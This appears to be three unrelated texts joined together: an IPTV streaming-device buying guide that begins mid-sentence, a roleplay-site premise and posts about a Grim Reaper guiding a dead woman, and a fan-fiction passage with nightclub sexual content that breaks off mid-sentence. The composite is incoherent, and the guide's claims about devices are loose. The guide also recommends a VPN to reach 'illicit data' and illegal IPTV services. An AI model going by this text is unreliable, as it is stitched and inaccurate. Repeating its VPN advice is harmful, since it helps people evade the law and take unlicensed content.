1GB RAM. So, it has a prominent position in the market on account of its qualities. Android TV OS The operating system on which all the Android gadgets operate should be Android TV OS. The simple Android OS is for mobile phones and tablets, while the Android TV OS is for the big screen. When the content is 4K, then the Android OS fails to deliver the quality content. The devices at low prices work on the operating system of OS Android. But the devices like NVidia shield have Android TV OS. So, the certificate of the Android TV OS should be attached to the device. We have some stunning boxes of Android. Let us describe and see some of the expensive and worthy products from well-known market names. Apple TV Apple itself is a brand and has given a wide range of products. No doubt, Apple TV Box stands out first in streaming quality because of the sky-high quality production. The technology used in it is on the top, so the designs are classy and versatile. You can enjoy the 4K resolution on your screens. This highly upgraded gadget can run programs of high quality because of its extraordinary functioning. Amazon Fire TV Amazon Fire TV is famous because of its exception in content like Video on Demand. The whole set-up is unique. You can avail of the maximum of content after subscribing to the Prime offer. NVidia Shield Nvidia Shield gives you access to Netflix and Hulu; it also works on the Android operating system. It also acts as gaming consoles and is a blessing for gamers. Nvidia Shield is not a cheap product because of its high specialties the price is high. Google Chrome cast This device offers you hundreds of streams on hand. There are two versions of it the first one is reasonable in price while the second one costs a bit more. You can buy the one according to your demand and need. Google Chrome cast has a specialty in video playback options as it allows the user to connect the streams directly from the mobile phones/ tablets. Killer content on IPTV There are several IPTV service providers; it is like a pool of stunning content. The number of channels and Video on Demand has changed the whole set-up of Television. Back in the days, we have limited options, but now there are thousands of routes waiting for us to avail of them. Let us check the diversity in content. TV shows & Series The different IPTV service providers have thousands of channels. It is up to you to choose the program of the late ’70s or the latest one. You can watch the classic shows of old times without any hurdle. There is also a wide range of content for kids. Nowadays, different series are famous on Netflix. YouTube is a free platform for people to upload content and catch the desired income. The second thrilling aspect of IPTV services is that you can watch the Video on Demand. There are 1000+ movies that you can watch with multiple options you can forward or reverse at any time and can also stop it to watch it later. Sports Category Most of the audience enjoy live sports so, IPTV is also providing live broadcasting of sports matches. You can now enjoy football, cricket, badminton, and many other sports. If you want to stay with one sports stream, then you have to pay for that particular one. It is not compulsory to pay for all the live sports streaming. News Streaming Back in the day, people used to watch and have information about their state issues. But now you can watch the national and international news on your screens. Bit Part of Kodi in IPTV World Kodi is almost precisely a Media Hub. This application has the command on every file from images, videos, audios, or any sort of documents. It is known as a Powerhouse of content because the content is supported and managed by Kodi. The design of this application is quite simple; it takes help from third parties and enables the user to have access to multiple streams on any of their devices. Kodi is a free application, and usage is easy. This access is of both free and paid services. This theater software is adequate for local networks and free content. But for the expensive streams, the efficiency of Kodi lacks behind with everyday us you may see that the quality has gone down. But this cinema of content will form the best combination with premium IPTV service. Is there any need for a VPN VPN is usually used to protect privacy. It erases away all the marks of your history. It will become impossible for one to know what is in your browser history. Yes, there is a need for a VPN. VPN also offers service for those users who want to have access to illicit data; they can use a VPN like PureVPN for high speed and no tracking. VPN service is like a tunnel in which no one traces you. Your ISP, Hackers, and Government Censors are not able to see inside the tunnel when you are using a VPN. Pure VPN is providing its services for IPTV service providers. If you want to enjoy your program while you are traveling in a country that has no access to IPTV, then you can use a VPN to have a firm connection. USA IPTV services, which are under the illegal badge, become accessible through VPN. VPN boost up the speed of connection and reduces the buffering. This tunnel helps you to resolve the privacy issue and gives you peace of mind. You can check on the desired VPN services. We have mentioned the best, which shows remarkable performance while using IPTV service. You have to pay a little per month, but this will help you a lot with privacy. Customer Care Most of the streams of IPTV service providers have their website for queries and customer care. They are available 24 hours and gives you the surety in solving your issue within the above written hours. Customer care service is smooth and perplexing. Final Verdict We have seen that IPTV has changed the perception of traditional broadcasting. Back in the days, the cost of local TV cable was high, but now with the advancement in technology, there are multiple options at an affordable price. In this article, we have seen different devices and their capabilities of handling IPTV services. To run an IPTV service is not an easy job. Smart TV seems to be out of this race, while mobile phones hold the second position. The top one is IPTV set-top boxes. You can purchase any of the below according to your requirement. Many devices have an Android operating system, the same operations as a mobile phone. But some of them have their working mechanism and operating systems. We will prefer to use the Android TV box as its hardware is friendly with many other devices. Before buying any of the TV gadgets for IPTV, make sure that it matches your needs.

Roleplay Roleplay Latest Genre Join The Between By Fushen THE BETWEEN Time. Seldom is there ever enough. For there is a finite amount of sand within the hourglasses of our lives, and it trickles down without pause or disruption. Once it finally runs out it marks the end of a life. Some people last the full length of a life well lived, their existence overflowing with happy memories, relationships, and experiences. Meanwhile, other’s time on Earth is unfortunately cut short. Tragedy strikes in the form of the unexpected, accidental, unfair, or cruel. ____ is a woman doomed to endure such a tragedy. ____ was in the peak of her prime at the height of her life. From the moment she was born she felt that she was destined for greatness. Ever the go-getter, she aimed for the most monumental goals and aspirations. And, more often than not, she achieved them. It didn’t matter who or what she had to sacrifice to get there either. In her mind, it was more than worth it. Then, just on the precipice of getting the crown jewel that would’ve solidified everything else she could’ve ever hoped for in life, she died. Before one passes from this life on to the next, they must first journey through the Between. Very little is known about the ever-changing expanse separating Life and Death except for its treacherous perils. It can morph into anything from cosmic space to a labyrinth to an optical illusion to a moment of regret from the life of the soul traversing it. And, as if that wasn’t harrowing enough, dark creatures lurk throughout the shifting worlds. They were once souls seeking eternal rest themselves but were lost along the way. Eventually, the Between maddened their minds and transformed their bodies into nightmarish things with the sole desire to mislead others, condemning them to the same fate. For this reason, all newly deceased souls – ____ included – are assigned a guide. A guardian. A Grim Reaper. While stories like to insinuate there is only one Grim Reaper, there are in fact many. Booker is one of them. And, unlike tales of an otherworldly omen, he was once an ordinary person who was simply presented with an extraordinary opportunity. At the end of his journey through the Between, Father Time – seer of all things Past, Present, and Future – offered him Eternity, the chance to become a Grim Reaper. This proposition is only extended to those who led truly good, selfless lives before they died. Booker, like many others, was chosen specifically for the task because he was best equipped to understand the wide spectrum of human emotion and handle it with grace, compassion, and care. The plan was that it would allow for easier transitions when he needed to guide someone who may have died young, unexpectedly, or painfully. But plans change. When ____ awakens in the Between to meet Booker, he is far from the warm, reassuring presence that a Grim Reaper is meant to embody. He is cold and harsh, hardened by what he has had to endure during his time ushering souls to their final destinations. Keen to find a way back to the land of the living and seize the reins on all the promising things life had to offer her, however, ____ is determined to break him down and enlist his help by any means necessary. Never mind the fact that it goes against every law of nature; some things are bigger than Death. story details ~This is intended to be a romance. ~Feel free to change the gender, backstory, and/or personality of the character to whatever works for you. I left it vague on purpose. The only necessity is that they’re not ready to die and they’re therefore motivated by the need to find a loophole to keep living. ~The Between is a pretty open-ended world, so we can make things up as we go along. I do not have a concrete idea in mind, I’m just working off pure vibes here. Dark ones. Such as these. rules ~This roleplay is for ages 21+ only. Mature themes will be used throughout. ~Illustrated pictures please. ~Proper grammar, spelling, and punctuation are all expected, but I’m not gonna flog you if you make a mistake here and there. If I’m not trying to decipher a coded message in your posts, we’re good. ~Paragraphs of posts are preferred. I generally tend to write around 600-700 words on average, so I’d appreciate something around that in return. There are, of course, exceptions during active dialogue between characters, so it’s a good general rule of thumb to just offer enough to work with – whatever that means to you. ~Apart from my character’s backstory, I don’t have too many fleshed out ideas regarding where this story may lead. So, let’s talk! Collaboration will no doubt benefit the both of us as well as the story, so please reach out with any ideas, thoughts, or opinions on what we’re doing. Or, just surprise me! Also very fun. ~There is no pressure to post here. Whatever your schedule is works for me. If I haven’t heard from you in over a month or so, I might reach out as a courtesy checkup, but there’s seriously no rush whatsoever. ~If you find somewhere down the line that this roleplay isn’t for you anymore, just let me know. We can tweak or drop it right then and there, no questions asked. ~PM me with a character skeleton filled with whatever you wanna tell me in order to join. ~Please don’t steal this idea. I can’t stop you if you do, but it’d deffo hurt my feelings. Romantic Horror Fantasy Supernatural Video Chat Kumospace [Everyone] Gather.town [Everyone] Reply You don't have permission to post in this thread. Fushen Booker Freeman 13d ago [size15 It was a gorgeous day to be in the park. There wasn’t a single cloud in the sky, just the brilliant sun casting its warm rays toward the earth below. In the sunlight, the green of the grass and trees seemed more vibrant. A gentle breeze rolled through the area as well to gently jostle both. All around, people took full advantage of enjoying their Saturday afternoon. Children chased one another in some game of their own design while their parents kept a watchful eye on them from the comfort of their picnic blankets. A group of young people took turns posing and photographing one another to show off their fashionable outfits near one of the public art sculptures. Two elderly men walked along the sidewalk in merry conversation as they enjoyed some fruity popsicles they’d purchased from a nearby vendor. Life thrived in this park. And alone on a bench taking it all in, sat Death. Well, not Death incarnate exactly. For Grim Reapers were not harbingers of death, but rather followers of it. They merely appeared wherever it took place. Thankfully, there was no death in the park either. The Grim Reaper in question simply liked to pass the time between deaths observing life. If anyone could see Booker, it would’ve been quite the jarring sight indeed. Amidst the light and color of the world around him, he stuck out like a sore thumb. He was a large, imposing man with dark skin that was only paled by the inky black cloak he wore around his person. Prominent features of his face included his heavy brow, wide nose, and full lips – all of which seemed to be etched into a permanent glower. And even more striking still was the long weapon he held in front of him that stretched skyward approximately six feet before ending in a shining curved blade. A scythe. But no one took any notice of him at all. That much was made clear as soon as a dark-haired woman sat beside him, pulled a book out from her purse, thumbed through a few pages, and began to read. Booker considered her silently for a few moments. He noted how she gently chewed her thumbnail as she read. How her hair kept curtaining her face as her eyes drifted from one page to the next. How she’d look up every now and again whenever there was a particularly loud shout from a nearby child. The woman would smile to herself, shake her head almost imperceptibly, then return to her book. Realizing that he was becoming too drawn toward the woman, Booker pushed himself to his feet and stalked away. Watching life go by was all well and good, but only ever from a safe distance. Too long lingering on minute details could very well be his undoing. It only served as a stark reminder of everything he lost and all that he had to endure. After all, he could only move through and observe the world of the living, not interact with it. He’d never again be able to feel the warmth of the sun’s rays, or the crisp pages of a new book. Instead, he had to settle for living vicariously through others who were still alive. And it hurt. Yet he far preferred it to the other option: residing in the Between instead. If he wasn’t forced to escort a soul through it, he wanted to keep as much distance as he could. Booker settled himself beneath the shade of a nearby tree with a sigh. He crossed his legs in front of him and rested his scythe on top. The man leaned against the bark without feeling it behind him and closed his eyes. No sooner had he done so than there was a sudden tightness in his chest. Dark orbs flew open, and Booker grit his teeth against the sensation. It was as if his torso was collapsing in on itself, crushing the bones and organs beneath. Then, a pull promptly replaced the press. An invisible fishhook looped itself in his ribcage and began to reel. Booker felt it calling him to a new location, a new death soon to occur. It was a common sensation, one that was experienced by all Grim Reapers within range of someone who was about to die. But the familiarity didn’t dull the pain. The man tried to fight against the feeling. Surely, someone else was in range and could take over in his stead. He’d been avoiding taking on new charges lately. The Between, cursed place that it was, had claimed nearly all the past half a million or so souls that he’d had in his care. Perhaps it wasn’t even the place that was cursed. Perhaps it was him. Either way, he was of no use to anyone. There wasn’t any point in adding yet another name to his growing list of people he failed to protect. But still death called to him. And he had to heed its cry. Against his will, Booker was whisked away. The world shifted beneath him, slow at first, but then rapidly picked up speed. Everything became a frightening blur of color and sound around him. It spun sickeningly, nearly nauseating him. Just as suddenly as it had started, however, it stopped. The sun was instantly replaced with an overcast sky, a torrential downpour. Though it was still early in the day, it looked as dark as night. Sheets of rain came thundering down from overhead, making visibility near next to impossible. Booker pulled up his hood against nature’s onslaught even though the howling wind could not stir his cloak. He eyes scanned the area from beneath the covering. The greater forces at work appeared to have placed him at a city intersection. The road that ran from east to west had a yellow light, but a pair of headlights still a hundred feet away did not slow. A sportscar was coming up fast. Too fast. There was a harsh squeal of brakes as the light changed to red, but the car had too much momentum and the road was too slick. A small sedan that had inched its way out into the road at the beckoning of its green light was right in the sportscar’s path. Booker turned away. Behind him came a deafening crash as one car collided with another. The crunch of metal on pavement. The scent of burned tire. The panic of people emerging from nearby stores. Booker looked over his shoulder just in time to see the sportscar speed off dragging its front bumper behind it. The sedan did not fair nearly as well. The passenger side looked like a crushed soda can from the initial impact, and the rest of the vehicle sustained far worse from flipping and rolling through the street. Gasps and cries for someone to call 911 echoed from the small crowd that had gathered. Had humans always been so optimistic? To hold onto hope that someone might be alive even in the face of unimaginable devastation. It seemed too long ago now for Booker to recall. He almost wished it were true too. At least that way, he’d still be in the comfort of his park. Long, dark tendrils began to leak from the middle of the wreckage. They oozed outward, thick as tar but moving like wisps of smoke. No one seemed to notice. The substance snaked over everything, covering car, street, and person alike, freezing each object it touched. It did not touch Booker. The man took a steadying deep breath. When everything stood paralyzed in time, he approached the upside-down car. With the environment existing on the same plane as him now, he had the ability to manipulate it. The driver’s door was firmly shut thanks to the metal folding in on itself, but with a swift swipe of his scythe, Booker managed to get it off. He crouched down with a groan, peering into the debris. Pages of paper littered the vehicle along with scattered glass, a smashed laptop, and an unconscious woman dangling limply from the driver’s seat, her seatbelt still fastened. Booker inserted himself into the crumpled car so he could reach across her body and unfasten her. He half caught her, half lowered her down when she came loose. Dragging her unceremoniously by one arm, he walked her a few paces away from the vehicle before fully laying her down. Booker stood over her, examining his new charge. She was young, he realized with a small pang. He didn’t allow himself to feel as sympathetic as he might have when he first started the job, but he could at least admit the tragedy behind a life that ended before it truly began. After all, he had only been afforded a handful of years himself. Even with the injuries she sustained from the crash, he could recognize that she was attractive too; no doubt she would be missed and mourned. He lowered himself to her level, his eyes almost willing her to wake up. They couldn’t stay at the scene for long; they needed to get moving. As if in response to his thoughts, the world around them rumbled menacingly. Booker looked around in all directions, the grip on his scythe tightening. Clenching his jaw, he dropped his gaze back to the unconscious girl. Ignoring the cuts and bruises she already had across her face, he raised his free hand and slapped her across the cheek. Although the dead kept the bodily harm that might’ve arisen as a result of their death, it couldn’t cause them pain any longer. Harm inflicted while dead, however, could still hurt. And Booker did not hit her lightly. When finally she opened her eyes, he immediately recognized the fear and confusion within them. In his earlier days he would’ve done everything in his power to calm and reassure those feelings. Now, however, all he said was, [b “Sorry,”] in a deep voice that didn’t sound sorry at all. [b “But you died. And now it’s time to go.”] He stood, spinning his scythe around a few times before swiping it in the air. It instantly tore where he slashed as easily as if it were a piece of fabric. Beams of bright white light shone through. They were soft and inviting, promising peace and prosperity. But Booker knew better by now than to believe it; their journey was likely to be anything but that. He turned his cold gaze back to her, motioning with his hand for her to hurry up. [b “Haven’t got all day. C’mon.”]] Lovely_Poison Faith 11d ago [center Today was the day.] [center Today was the day that Faith Lawson would finally step over the finish line and achieve her dreams. She was so close that she could taste it. She could practically see the fans at the book signings, could hear the movie pitches, could even see who would be bringing her characters to life. She’d worked too hard, had come too far, to watch it all fall out of reach now. [b “Today is the day,”] she said, a smile on her face as she watched her reflection in the mirror.] [center Her hair was pulled back into a half-ponytail, leaving a good bit of it to cascade down her back while a dark shade of red painted her lips. For once, she had eyeliner and mascara on, along with a light blush. Nothing too heavy but just enough to help bring out her features. She was excited, and confident, which was perfect for when she reached her destination. She would walk into the publisher's office, give them the manuscript, and she’d be set for the rest of her life.] [center The idea had already been enough to get her this meeting, had done well when she’d thrown the first few chapters online to get the attention of some of the public, and had read well when she’d given a preview down at the local library. She had no doubt that she would finally be able to become the writer that she was destined to be. She had always achieved whatever it was she wanted, no matter how hard or impossible the goal was. This would be no different.] [center Hurrying out of the bathroom, she hurried to her room, made sure that she had everything in her bag, including her phone, wallet, and keys, grabbed the stack of papers bound together, along with the laptop, and rushed out the door, making sure to lock it before she made her way to the car. According to the watch on her wrist, she still had forty-five minutes. Plenty of time to get where she needed to be, even at this time of day. Hell, she could stop for coffee if she really wanted to and still be a good ten minutes early.] [center That was Faith, though. Always early. Never late. She couldn’t afford to be late if she wanted to be successful. It just didn’t work that way. Taking a deep breath, she would remind herself that she had this in the bag before she pulled out of her driveway, making sure her GPS was working before she left, following the blue line on her screen. Some eighties music played in the background, a little quieter than she normally would play it, though she sang along nonetheless. She’d grown up around it too much to not enjoy it when [i Journey] or [i Bon Jovi] came on.] [center [i Today is the day.]] [center If only she had known that those words would have a different meaning. If she had only known that she wouldn’t make it to that meeting, maybe she would’ve called in sick or tried to reschedule. Surely the publishing company would’ve been more than understanding. She, however, couldn’t tell the future, had no reason to believe that her life would be cut so short. Then again, no one ever thought it would be them until it actually happened.] [center She’d been patient at the light, waiting for just a second or two before she’d decided to go, truly believing that doing what he mother had taught her over and over again would be what kept her from getting into an accident. It had worked every other time before, so why, [i why] had she missed it when the sportscar sped through the light, tires screeching right before it collided with her car.] [center It had all seemed to happen in slow motion; the way her car rolled, sending everything tumbling about inside the vehicle. The way her head would collide with the steering wheel, sending colors across her vision, and the way it all seemed to grow quiet, the music fading away without any reason why. Darkness was quick to take over, leaving her limp inside the car without much time to even process what had happened.] [center The sudden pain in her cheek was enough to cause her eyes to snap open wide, quickly staring at the man that was too close for comfort before she started looking around, wondering why she wasn’t in her car anymore. Was this some bad dream? Was it because she was actually nervous about the day? So many things were running through her mind and she could barely hold onto a thought.] [center Hearing the man’s words, she looked back at him, just as confused as she had been a moment ago. Watching him, her eyes would widen again, quickly shaking her head. [b “I’m sorry… what?”] His words didn’t sound right. She wasn’t dead. Just asleep or… in a coma. Maybe that was it. She was in the hospital and this was all some weird thing her brain was doing to help her cope.] [center With one last quick look around, and the realization that she had no choice but to follow him, she finally stood, pressing a hand to her cheek before she forced herself to walk towards him, taking in the lights that came through where he’d cut. They were pretty, she would admit that, but it was just another thing that made her believe this was all some sort of bad dream.] [center [i Today was most certainly the day,] she thought to herself.] Fushen Booker Freeman 9d ago [size15 [b “Dead,”] Booker repeated simply in answer to the girl’s question, as if that was the only explanation she needed. His stare didn’t waver from her as she slowly rose to her feet, rubbed her cheek, and began to walk towards him. [i [b Cooperative… good,]] he thought. Sometimes the deceased would waste precious time by bombarding him with one too many questions or trying to desperately scramble back to the bodies they’d left behind. She didn’t seem to fall on either end of that spectrum, but Booker still sensed her hesitation even before she stopped in front of him. His dark eyes slid from her to the gateway and back again, his way of encouraging her to continue moving. When she didn’t move fast enough, however, he exhaled in mild agitation. Then, he helped her along by placing the flat of his scythe blade on the small of her back and nudging her through the entry brusquely. Once she’d gone, the man took one last look around at the land of the living, still suspended in time. Idly, he wondered how much more time would pass before he’d have the chance to revisit. Each journey through the Between was unique, and therefore had varying durations. He’d have to simply hold onto the perfection of the park in his mind until his return. Which would hopefully be sooner rather than later – whether by successfully navigating his charge to what lay beyond the Between [i or] by losing her to it. Not that it mattered. Booker had become so numb to the latter of the two, that neither outcome affected his mood much anymore. The world rumbled again, even more alarmingly than the first time. Taking the cue to leave, Booker followed the girl through the tear in time. There was a brief second after he passed from one threshold to the next where the split shimmered. In that moment, the pair were privy to life resuming beyond its boundaries – the torrential rain continued to fall, traffic cautiously weaved around the wreckage, and still people scrambled to save the girl who was already well past the point of being saved. Then the tear quickly stitched itself back together and shut them out. It took a moment for Booker’s eyes to adjust. Rather than the gloomy darkness of a thunderstorm, they found themselves surrounded by the same bright, white light that had streamed through the portal. It came from everywhere all at once, illuminating the space, but revealing nothing. Likely because there was nothing to reveal. The place was an endless, empty void. Without sparing the girl a glance, Booker wordlessly swept past her and began walking. Though the environment was devoid of any objects that could bounce sound, his footsteps still echoed softly throughout the space. It mimicked the same rhythmic [i tap-tap-tapping] of shoes on tile. Based on the second pair of echoes trailing behind him, Booker knew that the girl chose to follow him as well. While she must’ve had a billion questions buzzing in her brain, she did not voice any of them immediately; no doubt she was still in shock. Similarly, Booker did not offer any answers. Aside from the resounding footfalls, the two walked in silence as endless as the void. In truth, the man preferred the quiet. There were only so many times – so many [i decades,] for that matter – someone could answer the same questions over and over again before it grew tiresome, after all. Who are you? Where are we going? What is happening? Where are we? Always the same. Not that he could fault the dead for their lingering curiosities about the afterlife – something of which humanity knew frighteningly little about. They took stabs at theories, though; they were ever intent on trying to explain the inexplicable. But they didn’t even come close. There was no omnipotent god welcoming them to a set of pearly gates. No violent jettison into a new reincarnation of a different life. No scattering of the soul’s essence into stardust amongst endless galaxies. None of their imaginings held up to what really awaited them. The nearest they’d come to getting it right was envisioning a bright light at the end of tunnel, one that came with a forewarning to avoid lest death entrap them. But even that fell short because in reality there was no tunnel. And if they saw the light – the very same that encompassed Booker and the girl – it was already too late. Although the circumstances assured death, there was nothing inherently foreboding or threatening about the void. Quite the opposite. There was a certain calmness in the air. And soon enough, like ambient music in a waiting room, more sound began to fill the space. It was quiet as first but grew more noticeable the longer the two walked. The rush of ocean waves sweeping across smooth sand. The shifting turn of a page in a book. The soft mewing of a housecat. The crinkling of a candy wrapper being unfurled. The hearty laughter of a man who Booker assumed was of some importance to the girl. For they were all sounds that were based on things that were meant to appeal to her. He cast a glance over his shoulder at her, slowing his gait just enough to allow her to catch up. [b “Tell me,”] he said once she caught stride. [b “Do you see anything yet?”] The sounds typically meant that the appearance of a doorway to the Between was imminent. But like the noises, it would be tailored specifically to the girl and only she’d be able to see it. Before she answered, however, Booker nearly tripped over a bench that suddenly materialized before them. He flashed an arm out in front of her to stop her from doing the same. His brow furrowed as he eyed it suspiciously. This had never happened before. [b “Does this mean anything to you?”] he asked the girl, an accusatory edge lining his voice. Without waiting for a response, he gave the seat a testing poke with the butt of his scythe. It was as pure white as the rest of their surroundings and looked sturdy. Perhaps it meant that her entry point wasn’t as near to appearing as he’d thought, maybe not even close. That did not bode well. The Between always took its time to shape the landscape and plan out hardships for souls to overcome, but it wasn’t meant to be an exuberant amount. Booker’s dark eyes wandered back to the girl, wondering who she was and what she’d done in her life to prompt this. [b “Well.”] He waved his open palm toward the bench. [b “Have a seat, I suppose.”] Booker chose to remain standing; he still didn't fully trust it. He lightly leaned his weight against his scythe. [b “Got a name, girl?”]] Lovely_Poison Faith 3d ago [center [i Dead.]] [center That one word seemed to toss and turn about in her mind as Faith stared at the stranger. It just didn’t sound right. It didn’t [i feel] right. Just moments before, she was very much alive, sitting in her car and heading to a meeting. Perhaps she’d fallen asleep at the wheel? That’s what this was, right? Just some bad dream? She reached up to pinch her arm, wondering if it would snap her out of her daze. Her stomach dropped when it didn’t work. She definitely had more questions now but had no way to truly convey them without coming off as annoying or dumb. So, instead, she just continued to follow the man, her mind spinning.] [center She followed his gaze to the strange gateway before her, a bit hesitant before she started making her way for it. She wasn’t sure why she was really doing it, save for the fact that she might actually have some of her questions answered without having to ask them aloud. A small gasp escaped her lips as the scythe came to rest against her back, feeling a little offended that he was rushing her. Could the woman not have a moment or two to process anything? What was the big rush anyway? [i She] certainly wasn’t in a hurry, so why was he?] [center She kept her mouth shut, however, not wanting to irritate the man who already seemed annoyed by the fact that he was there, to begin with. Wrapping her arms around herself, she let out a soft sigh. [i Dead…] Nope. The word still didn’t feel right. [i Maybe you’re in a coma. That would make sense, right?] Whatever she could think of to make herself feel better. Glancing over her shoulder, she had opened her mouth to finally say [i something,] but stopped as she watched him, wondering what it was he was waiting on. He’d been so pressed to get her through, so why hesitate now? It didn’t seem to last long, whatever it was he was waiting on, and soon they were on their way again. The words she’d had on the tip of her tongue stuck again and she quickly closed her mouth, continuing forward in silence.] [center It was all quite eerie, despite the brightness of it all. It was far quieter than she would’ve liked and felt much too open for her. [i Is this what Heaven looks like? How dull and lonely…] Where were the gates she was promised as a child? The paradise that she was sold every Sunday she’d gone to church? Had that all been a lie? How would her father feel about that? Hell, how would she tell him? She paused for just a moment as it finally started to settle in. She wouldn’t be able to tell him. He probably thought she was inside her meeting now instead of stuck on the road somewhere.] [center Fear gripped her for a moment as the man moved past her. Surely he didn’t expect her to just accept this. That didn’t seem fair, and yet, she could tell by his attitude that he probably couldn’t have cared less. Tightening her arms around herself, she began to follow him again. All she could think of was everything she had wanted to do in her life. She was going to become a bestseller, get married, and live a wonderful life until she died of old age in her bed, holding her husband's or children's hands. That was the life she’d thought she’d been promised.] [center Fate was a cruel bitch and what a slap to the face this was.] [center Faith didn’t know how long they had walked for or how long she’d let herself get lost in thought. It wasn’t until she started hearing other sounds that she recognized that she would pull herself from her own mind, slowing down just a little to look around. She couldn’t see anything, which baffled her, but she could definitely hear it all. It was almost disorienting for a moment. Was this what people meant by their lives flashing before their eyes? No, no, that didn’t sound right, especially when nothing could be seen. Perhaps they just misunderstood what it was they were perceiving?] [center She jumped a little as the man before her spoke, glancing over at him. Was she meant to? And if so, what was it she was supposed to be seeing? So many questions, and yet she couldn’t bring herself to ask a single one. She opened her mouth to respond but was cut short as he stumbled. The bench was the first thing now that he’d asked. She was almost tempted to point it out but decided against it. [b “Perhaps?”] she said softly, digging through her mind for a moment. She’d sat on a ton of benches in her short lifetime, mostly in the park or on the sidewalk when she was looking for some inspiration.] [center She seemed hesitant again as he spoke. She wasn’t sure she felt comfortable sitting down at a time like this. She’d rather just get it done and over with so she could, as people would say, “rest in peace.” If she had to die young then she at least deserved that, right? God, what had she done to deserve any of this? With a sigh, she finally sat, seeing no other option than to sit down where she had stood. Probably not a good idea. [b “Faith Lawson,”] she said a moment later, resting her arms over her legs as she laced her fingers together. [b “Do you?”] Maybe that had sounded a little angry. Certainly not her intention, but could he blame her for it? She was trying to process a lot of emotions at once.] [center [b “Where do we go from here?”] she asked, motioning around for a second at the nothingness that surrounded them. He had to have some clue, right? [i What if he doesn’t?] If he didn’t, she would assume she was in Hell or Limbo or something crazy like that. What else could she think?] Pages Continue reading this role play by signing up to Roleplay .cloud Roleplay Now ! No email required!

Gotta get my mind clear got nothing got nothing to lose Gotta get my pain straight chase away them blues Still got my thinking but its getting loud And all these voices keep spinning round I’m trying not to break down –Breakdown – Alice Russell– Ethan is reading out on in the alfresco, Mom and Dad must be in bed. He glances up at me as I race outside. “Hey whats up? Did you two fight.” Concern is evident on his face as he puts his kindle down and gazes at me. “Not exactly. Which way did he go?” Struggling to get my heels on I reach down and take a swig from his glass. Ugh, what is it with men and fucking scotch. Hardly a refreshing tropics drink. With a shrug of his shoulders, Ethan smoothly rises out of his seat. “What happened? He stalked out of here like you guys had a big bust up and he needed to chill. I didn’t exactly see where he went but he looked very much like he needed to be alone. Perhaps you should let him” “No, I am not sure that I should. This is about today. He isn’t coping with the aftermath of it very well. I can’t tell you everything right now but I’m worried about him. I don’t know if alone is a good thing. Will you help me find him?” He looks at me a moment then turns around to down his drink. “Come on let’s go.” There’s a pathway to the side of the house leading out to the main road. I trust that Ethan has a vague idea of where Elliot might go. The villa is only a block away from the nearest tourist strip and it is a matter of moments before we pass an assortment of bars and restaurants. An hour later we have trawled through every bar on the strip and have started on the clubs another block over which are only just coming alive. The first two clubs are relatively quiet and it is easy to see that Elliot isn’t there. The third one is heaving with bodies, loud music and the oppressive heat. We move through as quickly as we can but it is slow work checking in all the booths and corners. The cover charge is free on the expectation that we will buy drinks in each venue so we are alternating between the local beer and sparkling water but after the day I have had and the wine at dinner the alcohol is hitting me pretty hard. Almost staggering into the fourth bar, we are hit by music pulsing through the room drawing our attention to the bar in the middle with bar staff demonstrating synchronized flipping of bottles behind backs and over heads. It takes only a moment to register that one of them is Elliot and it’s like watching some sort of ‘Tom Cruise in Cocktail’ routine as he coordinates his movements with one of the other barmen while a hoard of foreign tourists, mostly women, hang on their every move. Shock floods through my body at the huge sexy smile on his face, so far from the distant and drawn look he had as he left the villa. What the fuck is he doing here? Well, I know what he is doing as he shakes the cocktail cup over a glass then swivels the whole container 720 degrees before pouring the red liquid into an iced martini glass with a final flourish. OK so he has some skills but it still doesn’t explain why the hell he is here. Elliot slides the glass across the bar to a tall leggy redhead who takes hold of the stem and beams up at him before she take a sip and licks her lips seductively. He leans across to take the tip she is offering. Just as he goes to grab it she rises up off her seat in her 5 inch heels and reaches out to grab his shirt collar. The fifty dollar bill is quickly snatched back from him and she tucks it into her substantial cleavage which she then thrusts up and offers to him amidst a cacophony of cat calls and whistles. Next thing I know he has the note between his teeth, and he throws his arms up in the air to the raucous cheer of the crowd. Fuck! You get upset so you go to a bar and get down and dirty serving over-priced drinks to horny female tourists? Not on my fucking watch asshole. My mouth drops open as she leans further into him and plants a brief but passionate tongue-thrusting kiss on his mouth. He pushes her away with a laugh, his hands raised to ward her off but I have seen enough. Forget saving him from himself, I am fucking pissed now. Pushing Ethan out of my way I stalk towards the other end of the bar and order a tequila layback. As I wait for the hunky barman to position himself I pull up my tank top and tie it in a knot just under my breasts. The heat and the alcohol and the fact that I am royally pissed at Elliot has got to me and I pick up a glass of water from the bar and pour it over my face and breasts allowing it to cool my skin. This attracts the attention of a group of guys who look like a frat boy reunion not far from where Elliot is standing. The gorgeous barman holds a bottle of tequila and a bottle of lime over my head and I give him a wink before turning around and laying back with my head and shoulders on the bar. A roar goes up as he hovers above my head then pours straight it into my mouth. Two guys have moved in close to my side and they take my outstretched arms to pull me upright as I swallow. Placing my hands on their cheeks, I stroke their faces before walking out on to the dance floor, making sure that I am attracting enough attention for Elliot and every other single hot blooded guy in the club to notice me. Sure enough the frat boys are heading my way, looking at me like I am the sweetest damn dessert on the buffet. I know this scenario well, having played this game a thousand times. So well, in fact, that I start a mental countdown in my head as I anticipate their next move. Glancing around I see Ethan staying close. He has my back. But right now it is not him that I am hoping to draw into a fight. A vocal chant starts up, followed by an electronic rhythm and bass track. The music is vibrating around me, through me, as I saunter on to the dance floor like a sexed-up supermodel; all hips, tits and ass swaying. Once I hit the center of the floor I raise my hands to my head and go through the process of unleashing my hair, shaking the golden waves out before raising my arms in the air (so get your hands up in the air) and starting a series of figure eights with my hips (I’ll make you hot, hot, hot). Although I am dancing on my own I can feel every eye on my body and every man visualizing their hands on my waist as I grind. It doesn’t take long for the vultures to start circling and a couple of hot looking locals make a move towards me before my frat boys push them away and surround me. For the most part they seem a little reserved but there is always one who thinks he has what it takes. This one is about 6 foot 3, dark hair and a tan. He’s all Calvin Klein underwear model, buff with his sculpted chest exposed through the opening of his white linen shirt. Across the room I can see Elliot watching on with a hard impassive look. Yeah well you’re not the only one who is pissed, Grey. I turn my back on him and keep dancing while Calvin moves in behind me and pushes his body up close. Too close. Anticipating his touch, I feel Calvin’s hands go to my waist and I start mentally counting again to see how long it will take before Elliot makes his move. My eyes are closed and I keep my body moving suggestively. For the longest time nothing is happening except the wriggling of my but against the ridge in Calvin’s 504s and I am worried now that my plan is about to backfire. Calvin is cute but he is no Elliot. Just get those hands back, (ah) Calvin pulls my arms back behind me and places my hands on his thighs sliding them upwards. Oh God, he is going to make me rub his crotch. No, you dont grab that, (oh). He pushes my hands up to his hips then grinds himself hard into me. Holy shit! Go on and lean back, (hey). An arm snakes around my ribs and he forces me to lean my 